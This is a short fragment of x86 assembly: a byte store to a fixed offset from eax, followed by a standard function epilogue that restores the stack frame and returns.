mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret